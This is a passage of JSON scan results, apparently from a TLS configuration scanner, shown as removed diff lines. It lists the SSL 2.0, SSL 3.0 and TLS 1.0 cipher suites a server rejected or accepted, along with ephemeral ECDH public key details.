"SSL_CK_IDEA_128_CBC_WITH_MD5", - "openssl_name": "IDEA-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "SSL_CK_DES_64_CBC_WITH_MD5", - "openssl_name": "DES-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", - "openssl_name": "DES-CBC3-MD5" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "SSL_2_0" - }, - "status": "COMPLETED" - }, - "ssl_3_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "SSL_3_0" - }, - "status": "COMPLETED" - }, - "tls_1_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - 